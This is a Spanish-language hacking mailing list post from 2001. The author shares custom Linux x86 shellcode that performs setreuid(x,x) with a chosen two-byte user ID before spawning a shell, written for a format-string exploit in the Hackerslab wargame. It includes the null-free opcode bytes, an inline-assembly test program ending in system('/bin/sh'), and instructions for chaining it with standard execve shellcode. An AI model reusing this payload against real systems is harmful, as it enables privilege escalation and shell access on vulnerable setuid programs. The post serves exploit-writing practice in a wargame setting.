[HACK] setreuid(x,x) shellcode

RoMaNSoFt roman at madrid.com
Sun Dec 16 02:13:08 CET 2001


 Hola.

 Para completar con éxito el exploit de Hackerslab level17 (el del
format string) he tenido que elevar privilegios antes de invocar la
shell. Para ello uso una llamada a setreuid() antes del shellcode
habitual.

 He estado buscando código para esta llamada y no lo he encontrado
(como mucho había para setreuid(0,0) pero no se podía adaptar al valor
que yo necesitaba, que es un valor no nulo de longitud 2 bytes) así
que he optado por hacérmelo yo mismo.

 Os posteo el resultado :-) Como siempre, cualquier sugerencia será
bien recibida.  No es que esté demasiado optimizado pero al menos no
contiene nulos y funciona bien.

 Hace exactamente un setreuid(x,x), con 256<x<65536. Es decir, x tiene
que ser de 2 bytes obligatoriamente y ninguno de ellos puede ser nulo
(por razones obvias).

 Para usarlo simplemente teneis que añadir al "setreuidcode" un
shellcode corriente (por ejemplo, el de 24 bytes de Anathema, o si lo
preferís el clásico de Aleph1).

 Si encontrais alguna shellcode que haga exactamente lo mismo por
favor, decídmelo para echarle un vistazo.

----c-u-t---c-u-t---c-u-t---c-u-t----------------

/* setreuid(x,x), 256<x<65536, Shellcode (Linux x86) by RoMaNSoFt
<roman at madrid.com> [2001.12.16] */

char setreuidcode[] =
"\x31\xc0\x89\xc3\x66\x81\xc3"
"\xf7\x01"                    /* x = 0x01f7 = 503 (change to suit) */
"\x89\xd9\xb0\x46\xcd\x80";

int main() {
__asm__("
        xorl   %eax,%eax
        movl   %eax,%ebx
        addw   $0x1f7, %bx
        movl   %ebx,%ecx
        movb   $0x46,%al
        int    $0x80
");

        system ("/bin/sh");
        exit(0);
}

----c-u-t---c-u-t---c-u-t---c-u-t----------------

 Salu2,
 --Roman




More information about the hacking mailing list